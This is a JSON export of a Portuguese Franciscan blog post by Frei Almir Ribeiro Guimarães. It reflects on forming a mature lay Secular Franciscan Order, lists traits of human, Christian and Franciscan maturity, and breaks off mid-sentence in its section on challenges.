{"id":10226,"date":"2012-01-03T07:52:11","date_gmt":"2012-01-03T09:52:11","guid":{"rendered":"http:\/\/new.franciscanos.org.br\/?p=10226"},"modified":"2020-08-05T07:52:41","modified_gmt":"2020-08-05T10:52:41","slug":"laicato-maduro-e-significativo-para-novos-tempos","status":"publish","type":"post","link":"https:\/\/franciscanos.org.br\/carisma\/laicato-maduro-e-significativo-para-novos-tempos.html","title":{"rendered":"Laicato maduro e significativo para novos tempos"},"content":{"rendered":"<p><em><a href=\"http:\/\/franciscanos.org.br\/?attachment_id=10227\" rel=\"attachment wp-att-10227\"><img loading=\"lazy\" class=\"alignright size-full wp-image-10227\" title=\"franciscanismo_g03\" src=\"http:\/\/franciscanos.org.br\/wp-content\/uploads\/2012\/01\/franciscanismo_g03.jpg\" alt=\"\" width=\"400\" height=\"316\" \/><\/a><\/em><\/p>\n<p><strong>Frei Almir Ribeiro Guimar\u00e3es (*)<\/strong><\/p>\n<p><em>A Ordem Franciscana Secular \u00e9 a mais antiga forma de organiza\u00e7\u00e3o de leigos que, guiados pela Igreja, unidos em fraternidade e inspirando-se no ideal de S\u00e3o Francisco de Assis, se empenham em testemunhar com a vida o Evangelho de Jesus Cristo e se dedicam ao apostolado no estado laical<\/em> (<strong>Palavras de Jo\u00e3o Paulo II dirigidas aos franciscanos seculares)<\/strong><\/p>\n<p><em>Os franciscanos seculares encontram na Regra o projeto evang\u00e9lico e o aux\u00edlio necess\u00e1rio para poderem se tornar efetivamente instrumentos da reconcilia\u00e7\u00e3o universal operada por Cristo. Tal projeto franciscano sup\u00f5e a colabora\u00e7\u00e3o com a a\u00e7\u00e3o de Deus no interior das estruturas humanas. A express\u00e3o \u201cno interior\u201d \u00e9 de fundamental import\u00e2ncia porque afirma que a santidade, a \u201cperfei\u00e7\u00e3o da caridade\u201d que os franciscanos seculares s\u00e3o chamados a realizar, n\u00e3o passa \u201cacima\u201d de sua condi\u00e7\u00e3o humana, tanto individual como social, n\u00e3o se realiza \u201capesar\u201d de viverem em fam\u00edlia, de trabalharem, estudarem, lutarem por uma sociedade mais justa, pela justi\u00e7a, pela paz&#8230;, mas &#8211; essa \u00e9 a grande verdade que Francisco intuiu \u2013 tal santidade \u00e9 alcan\u00e7ada precisamente pelo fato de viverem fiel e evangelicamente todas as situa\u00e7\u00f5es pr\u00f3prias da condi\u00e7\u00e3o secular<\/em> (<strong>Manuale per l\u2019assistenza all\u2019OFS e alla GiFra, p. 89<\/strong>).<\/p>\n<p><strong>1.<\/strong> A Ordem Franciscana no Brasil tem refletido sobre muitos temas importantes que visam alimentar a vida dos irm\u00e3os e das irm\u00e3s. Nos \u00faltimos tempos temos estudado a quest\u00e3o do senso de perten\u00e7a \u00e0 Ordem, as caracter\u00edsticas de nossa identidade, a a\u00e7\u00e3o concreta no mundo, a presen\u00e7a dos irm\u00e3os no mundo, o senso mission\u00e1rio, a revitaliza\u00e7\u00e3o de nossa vida fraterna e das reuni\u00f5es gerais, o cuidado pelo criado. Duas quest\u00f5es parecem nos preocupar no momento: Como formar na OFS um laicato vigoroso e maduro? Que express\u00e3o t\u00eam os franciscanos seculares em nossas dioceses e no mundo?<\/p>\n<p><strong>2<\/strong>. N\u00e3o h\u00e1 d\u00favidas. Os franciscanos da Terceira Ordem s\u00e3o seculares. Secular n\u00e3o quer dizer pessoa que adota o secularismo, ou seja, exclus\u00e3o do mist\u00e9rio da Transcend\u00eancia. Os terceiros vivem no mundo. Casam-se, trabalham, empenham-se por viver o Evangelho na sociedade dos emergentes, do neoliberalismo, do consumismo, da comunica\u00e7\u00e3o e da exclus\u00e3o. Inquietam-se com tudo aquilo que, no mundo, \u00e9 contra o esp\u00edrito crist\u00e3o, a espiritualidade franciscana e a Regra que professaram. Inquietando-se com isso, d\u00e3o testemunho do contr\u00e1rio. S\u00e3o seres leves, alegres e transparentes.<\/p>\n<p><strong>3.<\/strong> Nas \u00faltimas d\u00e9cadas falamos sempre em Ordem Franciscana Secular. Insiste-se, portanto, no secular. Esse secular \u00e9 para valer. Documentos exarados de Cap\u00edtulos da Ordem em diferentes n\u00edveis nos \u00faltimos tempos insistem na presen\u00e7a dos irm\u00e3os no mundo. Na medida em que os candidatos \u00e0 vida franciscana secular forem sendo formados no esp\u00edrito da Regra, esperamos poder ter em nossas fileiras um laicato maduro e nossas fraternidades ser\u00e3o significativas, ou seja, irradiar\u00e3o o Evangelho no meio das realidades terrestres.<\/p>\n<p><strong>4.<\/strong> Teoricamente estamos todos de acordo que a OFS seja caracterizada pela atua\u00e7\u00e3o no mundo. Uma coisa \u00e9 a teoria e outra, a pr\u00e1tica. Os membros da Ordem n\u00e3o s\u00e3o franciscanos \u201capesar\u201d de serem casados, de terem filhos, de trabalharem na abertura das estradas ou na bolsa de valores. Estamos diante de leigos corajosos que implantam o Reino nas realidades terrestres e suas primeiras e fundamentais preocupa\u00e7\u00f5es n\u00e3o podem ser as atividades lit\u00fargicas e os servi\u00e7os religiosos \u201cad intra\u201d. Est\u00e3o postados diante de um mundo cheio de desafios e t\u00eam a miss\u00e3o de torn\u00e1-lo crist\u00e3o. Haver\u00e3o de se constituir numa laicato maduro e significativo para os novos tempos.<\/p>\n<p><strong>5.<\/strong> Vivemos tempos novos na Igreja e no mundo. N\u00e3o nos cansamos de dizer isto. O mundo destes primeiros anos do novo mil\u00eanio tem pouco a ver com a d\u00e9cada de 40 ou 50 do s\u00e9culo passado. Na Igreja e no mundo n\u00e3o podemos nos aferrar a posicionamentos que se tornaram obsoletos, anteriores a toda a uma s\u00e9rie de reformas e atualiza\u00e7\u00f5es (<em>aggiornamento<\/em>) da Igreja. O passado e a maneira de viver o cristianismo e o franciscanismo ficaram estreitos e n\u00e3o cabem mais em n\u00f3s como uma roupa que ficou apertada. N\u00e3o podemos nos enclausurar no passado e viver da nostalgia. Temos que olhar para frente e imaginar um amanh\u00e3 conforme o desejo do Esp\u00edrito. Estamos terminantemente proibidos de viver a vida crist\u00e3 franciscana como mera repeti\u00e7\u00e3o do passado. Seria faltar com a coragem de acolher a novidade do Esp\u00edrito. A Regra que a Igreja nos deu aponta para tempos novos.<\/p>\n<p><strong>6.<\/strong> A Ordem Franciscana Secular, de modo especial pela \u201cmodernidade\u201d de sua Regra, \u00e9 constitu\u00edda de homens e mulheres dos tempos novos. Algumas de nossas fraternidades ainda respiram os ares anteriores \u00e0 promulga\u00e7\u00e3o da Regra e de sua assimila\u00e7\u00e3o. Estamos convencidos de que as fraternidades novas que v\u00e3o surgindo ser\u00e3o grupos que dar\u00e3o substanciosa contribui\u00e7\u00e3o para tornar o mundo mais humano e a Igreja mais e mais sacramento, sinal do mundo novo. Imaginamos os franciscanos seculares leigos maduros e em franco processo de amadurecimento.<\/p>\n<p><strong>7.<\/strong> O tema de um laicato maduro se une ao de um grupo que tenha significa\u00e7\u00e3o, que seja expressivo no atual contexto do mundo e da Igreja. Que visibilidade t\u00eam as fraternidades franciscanas seculares? Que influ\u00eancia t\u00eam os membros na Ordem nas par\u00f3quias, na dioceses e na vida da cidade? O simples fato da exist\u00eancia de uma fraternidade \u00e9 levado em considera\u00e7\u00e3o, reconhecido, pelos membros de uma par\u00f3quia? Que influ\u00eancia exerce a OFS na Igreja do Brasil? Ser\u00e1 que est\u00e1 desempenhando, nos diferentes n\u00edveis, um papel decisivo de reconstru\u00e7\u00e3o da Igreja no come\u00e7o deste novo mil\u00eanio? De que visibilidade gozamos? Leigos, bispos e sacerdotes esperam de n\u00f3s colabora\u00e7\u00e3o na transforma\u00e7\u00e3o da realidade e da Igreja? A OFS dever\u00e1 ser constitu\u00edda de um laicato maduro e expressivo.<\/p>\n<p><strong>8.<\/strong> <strong>Laicato<\/strong> &#8211; N\u00e3o \u00e9 aqui o lugar de fazer um tratado sobre esse tema vasto e complexo. N\u00e3o pretendemos entrar em pol\u00eamicas. Documentos s\u00e9rios e s\u00f3lidos da Igreja tratam do assunto. Mencionamos aqui apenas dois deles: a Exorta\u00e7\u00e3o Apost\u00f3lica sobre a Voca\u00e7\u00e3o e a Miss\u00e3o dos Leigos de Jo\u00e3o Paulo II (<em>Christifideles laici<\/em>) e o Documento de Aparecida. Muitos outros deveriam ser mencionados. Os leigos s\u00e3o crist\u00e3os incorporados a Cristo pelo batismo. Formam com bispos, padres, di\u00e1conos, religiosos e religiosas o povo de Deus. Participam das fun\u00e7\u00f5es de Cristo sacerdote, profeta e rei. No dizer do documento de Puebla s\u00e3o homens da Igreja no cora\u00e7\u00e3o do mundo e homens do mundo no cora\u00e7\u00e3o da Igreja. Sua miss\u00e3o pr\u00f3pria se realiza precisamente no mundo e n\u00e3o nas atividades internas da Igreja mais vinculadas ao minist\u00e9rio dos pastores. Sua presen\u00e7a e sua a\u00e7\u00e3o visam transformar o mundo. Ajudam no nascimento de estruturas justas no meio do mundo.<\/p>\n<p><strong>9.<\/strong> <em>Evangelii Nuntiandi:<\/em> \u201cA sua primeira e imediata tarefa (dos leigos) n\u00e3o \u00e9 a institui\u00e7\u00e3o e o desenvolvimento da comunidade eclesial &#8211; esse \u00e9 o papel espec\u00edfico dos Pastores &#8211; mas sim, de p\u00f4r em pr\u00e1tica todas as possibilidades crist\u00e3s e evang\u00e9licas escondidas, mas j\u00e1 presentes e operantes nas coisas do mundo. O campo pr\u00f3prio de sua atividade evangelizadora \u00e9 o mesmo mundo vasto e complicado da pol\u00edtica, da realidade social e da economia, como tamb\u00e9m da cultura, das ci\u00eancias e das artes, da vida internacional, dos meios de comunica\u00e7\u00e3o e, ainda, outras realidades abertas para a evangeliza\u00e7\u00e3o, como seja, o amor, a fam\u00edlia, a educa\u00e7\u00e3o das crian\u00e7as e dos adolescentes, o trabalho profissional e o sofrimento (<em>Evangelii Nuntiandi<\/em>, n . 70).<\/p>\n<p><strong>10.<\/strong> Os leigos crist\u00e3os atrav\u00e9s de sua vida haver\u00e3o de tornar cr\u00edvel a sua f\u00e9 de modo especial atrav\u00e9s de uma conduta humana e crist\u00e3 marcadas pela coer\u00eancia. Ser\u00e3o chamados a participar na a\u00e7\u00e3o pastoral primeiro pelo testemunho de vida, pela atua\u00e7\u00e3o nos campos assinalados por <em>Evangelii Nuntiandi<\/em> e, segundo lugar, com a\u00e7\u00f5es no campo da evangeliza\u00e7\u00e3o da anima\u00e7\u00e3o liturgia e orante das comunidades.<\/p>\n<p><strong>11.<\/strong> N\u00e3o podemos deixar de mencionar, no contexto deste tema, uma das prioridades do apostolado evangelizador dos leigos: a a\u00e7\u00e3o evangelizadora da fam\u00edlia. Novamente \u00e9 <em>Evangelii Nuntiandi<\/em> que insiste. Fala da Igreja dom\u00e9stica. A fam\u00edlia, como a Igreja, tem por dever ser um espa\u00e7o onde o Evangelho \u00e9 transmitido e donde o Evangelho se irradia. Belamente assim se exprime o documento: \u201cNo seio de uma fam\u00edlia que tem consci\u00eancia desta miss\u00e3o, todos os membros da mesma fam\u00edlia evangelizam e s\u00e3o evangelizados. Os pais n\u00e3o somente comunicam aos filhos o Evangelho, mas podem receber deles o mesmo Evangelho profundamente vivido\u201d (n. 71).<\/p>\n<p><strong>12.<\/strong> Quando falamos da realidade e miss\u00e3o dos leigos n\u00e3o podemos deixar de mencionar a for\u00e7a das imagens do sal da terra, luz do mundo e fermento da massa. <em>Christifideles Laici<\/em> assim se exprime: \u201cAs imagens evang\u00e9licas do sal, da luz e do fermento embora se refiram indistintamente a todos os disc\u00edpulos de Jesus, t\u00eam uma espec\u00edfica aplica\u00e7\u00e3o nos fi\u00e9is leigos. S\u00e3o imagens maravilhosamente significativas, porque falam, n\u00e3o s\u00f3 da inser\u00e7\u00e3o profunda e da participa\u00e7\u00e3o plena do fi\u00e9is leigos na terra, no mundo, na comunidade humana, mas tamb\u00e9m e sobretudo, da novidade e da originalidade de uma inser\u00e7\u00e3o e de uma participa\u00e7\u00e3o destinadas \u00e0 difus\u00e3o do Evangelho que salva\u201d (n. 15).<\/p>\n<p><strong>13.<\/strong> <strong>Laicato maduro<\/strong> &#8211; Maduro \u00e9 um termo que vem da bot\u00e2nica. Os frutos come\u00e7am a aparecer depois da flora\u00e7\u00e3o. Com o sol, a chuva, os cuidados do agricultor v\u00e3o se desenvolvendo e chegam a ficar maduros. Trata-se de um processo que, caso por caso, demanda tempo. Podemos falar de um laicato maduro em muitos sentidos e desdobramentos que n\u00e3o podemos esmiu\u00e7ar no limite desta reflex\u00e3o. Trata-se de termos na Igreja e na Ordem uma pl\u00eaiade de leigos e leigas em n\u00edtido processo de amadurecimento. N\u00e3o h\u00e1 pessoas completamente maduras, mas em processo de amadurecimento. Para os crist\u00e3os, a verdadeira maturidade se chama santidade. Podemos falar de uma maturidade humana, afetiva, crist\u00e3, franciscana e mission\u00e1ria.<\/p>\n<p><strong>14.<\/strong> No frenesi das coisas e da pressa de nossos tempos, na acelera\u00e7\u00e3o de tudo notamos que as pessoas querem tudo muito rapidamente. N\u00e3o d\u00e3o tempo ao tempo e o processo de matura\u00e7\u00e3o. Imaginemos, caricaturalmente, uma situa\u00e7\u00e3o. Um mo\u00e7o tem seus 15-16 anos. Estuda sem estudar de verdade. Tem pai e m\u00e3e, mas n\u00e3o \u00e9 de fato envolvido por eles num processo de educa\u00e7\u00e3o. Encontra-se com uma menina, vive um envolvimento amoroso, abandona essa, se casa com outra, faz faculdade, exerce a profiss\u00e3o, mas n\u00e3o visita seu interior. Casa-se e se separa. Passa a pagar pens\u00e3o para o filho. Depois \u00e9 convidado a frequentar uma dessas igrejas novas. Como \u00e9 que esse mo\u00e7o pode crescer em maturidade? Nota-se que muitos se tornam maduros, desenvolvidos em partes de sua vida e n\u00e3o realizaram uma matura\u00e7\u00e3o global e integrada. S\u00e3o t\u00e9cnicos de inform\u00e1tica mas n\u00e3o t\u00eam dom\u00ednio algum sobre outros aspectos de sua personalidade. S\u00e3o infantis e imaturos. N\u00e3o nos esquecemos que muitos desses podem ser membros de nossas fraternidades e eventualmente serem escolhidos para fazerem parte do Conselho. N\u00e3o se compra maturidade nas g\u00f4ndolas e prateleiras dos centros comerciais.<\/p>\n<p><strong>15. Tra\u00e7os humanos de maturidade<\/strong><\/p>\n<p><strong>&gt;&gt;<\/strong> O homem \u00e9 mais do que sua apar\u00eancia. Uma pessoa adulta ou em processo de matura\u00e7\u00e3o n\u00e3o julga pelo exterior. Sabe que os verdadeiros valores pessoais e dos outros est\u00e3o no interior.<\/p>\n<p><strong>&gt;&gt;<\/strong> \u00c9 sobretudo um ser de rela\u00e7\u00f5es. Ser\u00e1 maduro quando souber viver serenamente os relacionamentos entre as pessoas.<\/p>\n<p><strong>&gt;&gt;<\/strong> Maduro \u00e9 aquele que vai organizando um projeto de vida, tendo um buqu\u00ea de convic\u00e7\u00f5es, n\u00e3o se deixando atropelar por emo\u00e7\u00f5es e pelos caprichos dos acontecimentos.<\/p>\n<p><strong>&gt;&gt;<\/strong> Maduro \u00e9 aquele que consegue desenvolver boa parte das dimens\u00f5es de seu ser: intelig\u00eancia, vontade, afetividade, profiss\u00e3o, arte da conviv\u00eancia. Adulta \u00e9 a pessoa que sabe realizar projetos com outros.<\/p>\n<p><strong>&gt;&gt;<\/strong> O adulto n\u00e3o \u00e9 marcado pela agressividade e susceptibilidade. Possui serenidade e seguran\u00e7a interiores.<\/p>\n<p><strong>&gt;&gt;<\/strong> A pessoa em processo de matura\u00e7\u00e3o\u00a0 n\u00e3o se considera o centro do mundo e das aten\u00e7\u00f5es e vai aprendendo a fazer o \u00eaxodo de si e ser solid\u00e1ria.<\/p>\n<p><strong>&gt;&gt;<\/strong> Dizemos que o adulto \u00e9 pessoa em processo de matura\u00e7\u00e3o e, persistente, sem ser teimosa.<\/p>\n<p><strong>&gt;&gt;<\/strong> \u00c9 criativo: n\u00e3o se contenta a repeti\u00e7\u00e3o do que foi visto e vivido.<\/p>\n<p><strong>&gt;&gt;<\/strong> Sabe recolher as li\u00e7\u00f5es do passado e adivinha os passos a serem dados amanh\u00e3.<\/p>\n<p><strong>&gt;&gt;<\/strong> \u00c9 capaz de buscar o sil\u00eancio, a reflex\u00e3o. Viaja ao fundo do cora\u00e7\u00e3o.<\/p>\n<p><strong>&gt;&gt;<\/strong> N\u00e3o \u00e9 ing\u00eanuo, mas\u00a0 tem senso cr\u00edtico e sabe discernir.<\/p>\n<p><strong>&gt;&gt;<\/strong> Tem senso de responsabilidade e aprendeu a assumir compromissos.<\/p>\n<p><strong>&gt;&gt;<\/strong> Tem senso de humor: \u00e9 capaz de rir de si mesmo. Sabe conjugar alegria e seriedade.<\/p>\n<p><strong>&gt;&gt;<\/strong> Madura \u00e9 a pessoa que n\u00e3o \u00e9 doentiamente dependente, mas aut\u00f4noma. Sabe respeitar as pessoas. N\u00e3o tem desejo de posse.<\/p>\n<p><strong>&gt;&gt;<\/strong> Tem flexibilidade de julgamento, guardando dist\u00e2ncia entre a dureza ou a teimosia e o deixar que as coisas corram por correr.<\/p>\n<p><strong>&gt;&gt;<\/strong> Maduro \u00e9 aquele que tem crit\u00e9rios e n\u00e3o se deixa influenciar por modismos ou fanatismos que passam.<\/p>\n<p><strong>\u00a0&gt;&gt;<\/strong> Maduro \u00e9 aquele que tem capacidade de escutar, de dialogar, saber esclarecer-se pela fala do outro, dar sua colabora\u00e7\u00e3o para que situa\u00e7\u00f5es sejam revertidas.<\/p>\n<p><strong>16. Tra\u00e7os do leigo crist\u00e3o\u00a0 em processo de matura\u00e7\u00e3o<\/strong><\/p>\n<p><strong>&gt;&gt;<\/strong> \u00c9 fundamental que fique bem claro: cl\u00e9rigo \u00e9 cl\u00e9rigo, religioso \u00e9 religioso e leigo \u00e9 leigo. Cada um destes tem sua especificidade e, consequentemente, ter\u00e3o express\u00f5es diferentes no mundo e na Igreja.<\/p>\n<p><strong>&gt;&gt;<\/strong> Pessoa crist\u00e3mente madura \u00e9 aquela que se deixa guiar pelo Esp\u00edrito e n\u00e3o pela carne, pelo desejo de aparecer e de atribuir a si o que \u00e9 dom de Deus. O crist\u00e3o \u00e9 formado pela a\u00e7\u00e3o do Esp\u00edrito em sua vida e na comunidade crist\u00e3 que frequenta.<\/p>\n<p><strong>&gt;&gt;<\/strong> Trata-se de uma pessoa que vai dando uma resposta pessoal e comunit\u00e1ria ao Evangelho e suas exig\u00eancias ao longo de sua vida, percorrendo um caminho constante\u00a0 de busca do Senhor. Esse caminho podemos chamar de \u201cconvers\u00e3o\u201d.<\/p>\n<p><strong>&gt;&gt;<\/strong> Pessoa que tem senso de comunidade. N\u00e3o vive uma religi\u00e3o privada e particular. Sabe que o Ressuscitado se manifesta no cora\u00e7\u00e3o da comunidade crist\u00e3.<\/p>\n<p><strong>&gt;&gt;<\/strong> O crist\u00e3o em processo de matura\u00e7\u00e3o leva uma vida de ora\u00e7\u00e3o s\u00f3lida. Tem agu\u00e7ada preocupa\u00e7\u00e3o com seu crescimento na intimidade com o Senhor. Vive alegria particular em rezar com os irm\u00e3os. Valoriza, de modo especial, a Eucaristia. Participa o mais que pode da missa.<\/p>\n<p><strong>&gt;&gt;<\/strong> Crist\u00e3o leigo maduro \u00e9 aquele que n\u00e3o se at\u00e9m a aspectos menos centrais do cristianismo: prociss\u00f5es, devo\u00e7\u00f5es, apego exagerado aos santos. Maduro \u00e9 o crist\u00e3o que vive intensamente em sua vida pessoal o mist\u00e9rio da P\u00e1scoa: morte e ressurrei\u00e7\u00e3o com\u00a0 Jesus. A espiritualidade das espiritualidades \u00e9 a do mist\u00e9rio pascal.<\/p>\n<p><strong>&gt;&gt;<\/strong> Pessoa cuja f\u00e9 \u00e9 centrada, efetivamente, na pessoa de Cristo que busca com ardor e const\u00e2ncia. Frequenta o evangelho e tenta se revestir do espirito evang\u00e9lico.<\/p>\n<p><strong>&gt;&gt;<\/strong> Est\u00e1 em processo de amadurecimento aquele que busca a unidade, na diversidade.<\/p>\n<p><strong>&gt;&gt;<\/strong> \u00c9 capaz de se re-situar na vida. Enxerga os desafios e tem confian\u00e7a de que poder\u00e1 super\u00e1-los.Pensamos aqui no caso de algu\u00e9m que perde um ente querido, que \u00e9 tocado por uma grave enfermidade em casa.\u00a0 Tem compreens\u00e3o da dimens\u00e3o luminosa do sofrimento e da cruz.<\/p>\n<p><strong>&gt;&gt;<\/strong> Mostra sintomas de amadurecimento o crist\u00e3o que sabe colocar-se \u00e0 disposi\u00e7\u00e3o do Senhor em diferentes circunst\u00e2ncias.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Na medida em que vai fazendo sua caminhada humana e crist\u00e3 tenta poder dizer com Paulo: \u201cJ\u00e1 n\u00e3o sou eu que vivo, \u00e9 Cristo que vive em mim\u201d.<\/p>\n<p><strong>&gt;&gt;<\/strong> N\u00e3o se deixa levar pelos carismas exteriores e vistosos.\u00a0 Prefere\u00a0 ocupar um lugar discreto.<\/p>\n<p><strong>&gt;&gt;<\/strong> \u00c9 perseverante em seus prop\u00f3sitos. Seu sim e sim e seu n\u00e3o \u00e9 n\u00e3o.<\/p>\n<p><strong>&gt;&gt;<\/strong> Tem um agu\u00e7ado senso de Igreja, sobretudo do profundo mist\u00e9rio da Igreja que \u00e9 criatura de Deus, esposa de Cristo, Corpo M\u00edstico de\u00a0 Cristo.<\/p>\n<p><strong>&gt;&gt;<\/strong> Vive a din\u00e2mica do ver-julgar-agir. \u201cA miss\u00e3o do leigo na sociedade apresenta-se hoje \u00e0 consci\u00eancia crist\u00e3 como uma forma de evangeliza\u00e7\u00e3o, em que aspectos diversos podem ser acentuados, conforme o apelo das circunst\u00e2ncias e a voca\u00e7\u00e3o pessoal de cada um: quer na transforma\u00e7\u00e3o das realidades terrestres, pela a\u00e7\u00e3o social e pol\u00edtica, quer no an\u00fancio da mensagem evang\u00e9lica pela palavra, pelo testemunho de vida e pelo di\u00e1logo, sempre em atitude de servi\u00e7o inspirada pelo Cristo que veio para servir\u201d (<em>Miss\u00e3o e minist\u00e9rios dos crist\u00e3os leigos e leigas, Doc. CNBB 62, p. 103<\/em>).<\/p>\n<p><strong>17. Maturidade franciscana<\/strong><\/p>\n<p><strong>&gt;&gt;<\/strong> O franciscano est\u00e1 em constante estado de amadurecimento. Hoje, toda a Ordem anda preocupada com a forma\u00e7\u00e3o permanente.<\/p>\n<p><strong>&gt;&gt;<\/strong> De alguma forma, com o decorrer do tempo,\u00a0 o franciscano como que respira o ar dos prim\u00f3rdios do carisma franciscano e clariano. No tempo da forma\u00e7\u00e3o, ele vai se identificando com o jeito franciscano de viver. Traz o carisma para os dias de hoje.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Cresce na intimidade do Senhor: frequ\u00eancia \u00e0s p\u00e1ginas do Evangelho, familiaridade com o Evangelho vivo que se chama Jesus Cristo.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Vive um estilo de vida despojado: n\u00e3o gosta de ser protagonista de coisas grandiosas. \u00c9 despojado no vestir, no uso das coisas, sem aferrar-se \u00e0s suas opini\u00f5es.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Instaura a paz onde h\u00e1 querelas, divis\u00f5es e partidos. \u00c9 construtor da paz.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Sabe que a fraternidade \u00e9 elemento importante em seu g\u00eanero de vida: fraternidade local, fraternidade com os membros da fam\u00edlia franciscana, instaura\u00e7\u00e3o de fraternidades crist\u00e3s por onde passa.\u00a0 Coloca-se \u00e0 disposi\u00e7\u00e3o de sua fraternidade local. Inventa meios e modos de fazer com que as pessoas fa\u00e7am experi\u00eancias solidas de verdadeira fraternidade.\u00a0 Para o franciscano secular a fraternidade em que vive \u00e9 par\u00e1bola do reino.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Sabe subordinar seus projetos aos projetos de Deus em sua vida, na fraternidade e na comunidade.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Maduro quando tenta alternar de maneira equilibrada e s\u00e1bia momentos de contempla\u00e7\u00e3o e a\u00e7\u00e3o no mundo.<\/p>\n<p><strong>\u00a018. Por que se tornou dif\u00edcil o processo de amadurecimento?<\/strong><\/p>\n<p><strong>\u00a0&gt;&gt;<\/strong> Uma pessoa em s\u00e9rio processo de amadurecimento, em vias de tornar-se adulta de verdade, \u00e9 uma preciosidade. As pessoas amadurecem ao longo da vida, percorrendo as esta\u00e7\u00f5es da exist\u00eancia, na sucess\u00e3o de experi\u00eancias pessoais e comunit\u00e1rias, na paci\u00eancia do tempo.\u00a0 Cada biografia tem suas marcas pr\u00f3prias de amadurecimento\u00a0 existencial.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0\u00c9 preciso dar tempo ao tempo. O amadurecimento se faz atrav\u00e9s da lentid\u00e3o do tempo. Andamos todos apressados, temos muito que fazer, fazer rapidamente e assim fica dif\u00edcil que os amores, as falas, os escritos, a fam\u00edlia, a fraternidade franciscana amadure\u00e7am.<\/p>\n<p><strong>\u00a0&gt;&gt;<\/strong>\u00a0Sem uma verdadeira escala de valores e sem respeito pela transcend\u00eancia fica dif\u00edcil o processo de amadurecimento. Vivemos num tempo de profunda crise \u00e9tica e assim muitos somos desarrumados interiormente.<\/p>\n<p><strong>\u00a0&gt;&gt;<\/strong>\u00a0H\u00e1 a preval\u00eancia da lei do menor esfor\u00e7o, do desejo de se obter aqui e agora e j\u00e1 o que se deseja.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Estamos no mundo do individualismo, marcado pelo desejo de aproveitar a vida. Multiplicam-se as experi\u00eancias sexuais desde o tempo da adolesc\u00eancia.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Uma pessoa amadurece quando assume compromissos. Ora, vivendo compromissos \u201cleves\u201d, pulando de meta em meta sem esgotar as riquezas do primeiro compromisso,\u00a0 o interior das pessoas n\u00e3o chega a se arrumar de verdade.\u00a0 As pessoas t\u00eam medo de compromissos definitivos. T\u00eam receio de serem escravizadas por camisas de for\u00e7a (casamento definitivo, vida religiosa, profiss\u00e3o).<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Diante de um leque imenso de possibilidades e eventualidades\u00a0 as pessoas se acham perdidas e, indo de um lado para o outro, de Seca a Meca, n\u00e3o se aprofundam em nada.\u00a0 Diante do imenso leque de possibilidades as jovens gera\u00e7\u00f5es t\u00eam dificuldade de amadurecer.<\/p>\n<p><strong>\u00a0&gt;&gt;<\/strong>\u00a0H\u00e1 a quest\u00e3o do amadurecimento crist\u00e3o das novas gera\u00e7\u00f5es. Muitos s\u00e3o simplesmente\u00a0 \u201ccatequizados\u201d por um tempo e n\u00e3o vivem um contato permanente\u00a0 com a f\u00e9 e suas mais s\u00f3lidas express\u00f5es. Falta uma catequese familiar, ou simplesmente uma fam\u00edlia s\u00f3lida. Nossas par\u00f3quias n\u00e3o conseguem fazer com que bom n\u00famero de crist\u00e3os\u00a0 conhe\u00e7am um crescimento sistem\u00e1tico da f\u00e9.\u00a0 N\u00e3o favorece a matura\u00e7\u00e3o da f\u00e9 uma sacramentaliza\u00e7\u00e3o\u00a0 apenas com pinceladas de evangeliza\u00e7\u00e3o.<\/p>\n<p><strong>&gt;&gt;<\/strong> Sem visitas constantes e regulares ao interior as pessoas podem conhecer dificuldade de um crescimento mais sistem\u00e1tico.<\/p>\n<p><strong>\u00a0&gt;&gt;<\/strong>\u00a0O mundo das imagens e do som pode ser obst\u00e1culo ao amadurecimento tomado globalmente.<\/p>\n<p><strong>\u00a019.Desafios e urg\u00eancias<\/strong><\/p>\n<p><strong>&gt;&gt;<\/strong> Todas as reflex\u00f5es que aqui foram feitas colocam os franciscanos seculares diante de urg\u00eancias e de desafios.<\/p>\n<p><strong>&gt;&gt;<\/strong> Os franciscanos seculares experimentam alegria de serem leigos e n\u00e3o t\u00eam \u201csaudades\u201d ou \u201cdesejo\u201d de serem cl\u00e9rigos. Mesmo quando prestam servi\u00e7os \u00e0 par\u00f3quia ou \u00e0 diocese em diversos setores do culto e da evangeliza\u00e7\u00e3o s\u00e3o pessoas que experimentam alegria muito grande de serem fi\u00e9is crist\u00e3os leigos. Sabem que sua miss\u00e3o \u00e9 colocar a for\u00e7a do evangelho nas coisas do mundo.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Os franciscanos seculares se aproximam bastante do modo de ser e de agir da A\u00e7\u00e3o Cat\u00f3lica com seu famoso e bem provado m\u00e9todo do ver-julgar-agir. S\u00e3o peritos na arte de examinar a realidade e tentar impregn\u00e1-la da espiritualidade evang\u00e9lico-franciscana. Assim, d\u00e3o largos passos na linha de sua matura\u00e7\u00e3o crist\u00e3.\u00a0 Fala-se de uma milit\u00e2ncia dos leigos.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Fazem de sua casa uma verdadeira Igreja dom\u00e9stica, com toda maturidade de uma espiritualidade leiga. Tudo leva a crer que as fraternidades franciscanas seculares, na medida do poss\u00edvel, deveriam poder contar com um n\u00famero razo\u00e1vel de casais. Em muitos momentos no \u201cterrit\u00f3rio\u201d e na vida das fraternidades\u00a0 sejam promovidos encontros com as fam\u00edlias. Dentro do esp\u00edrito da secularidade os franciscanos seculares exercem grande apostolado no seio da pr\u00f3pria fam\u00edlia e junto a outras fam\u00edlias. Vivem franciscanamente a espiritualidade conjugal e familiar.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Adotam uma postura de simplicidade e de pobreza evang\u00e9lica num mundo de sofistica\u00e7\u00e3o, de esnobismo, de consumismo e de gastan\u00e7a. Assim \u201cfermentam\u201d evangelicamente a realidade. Visibilizam-se como seguidores do Francisco amante da pobreza.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Os franciscanos seculares estar\u00e3o presentes com frequ\u00eancia e compet\u00eancia no bairro que moram, na rua onde residem. As alegrias e dramas de seus vizinhos s\u00e3o suas alegrias e 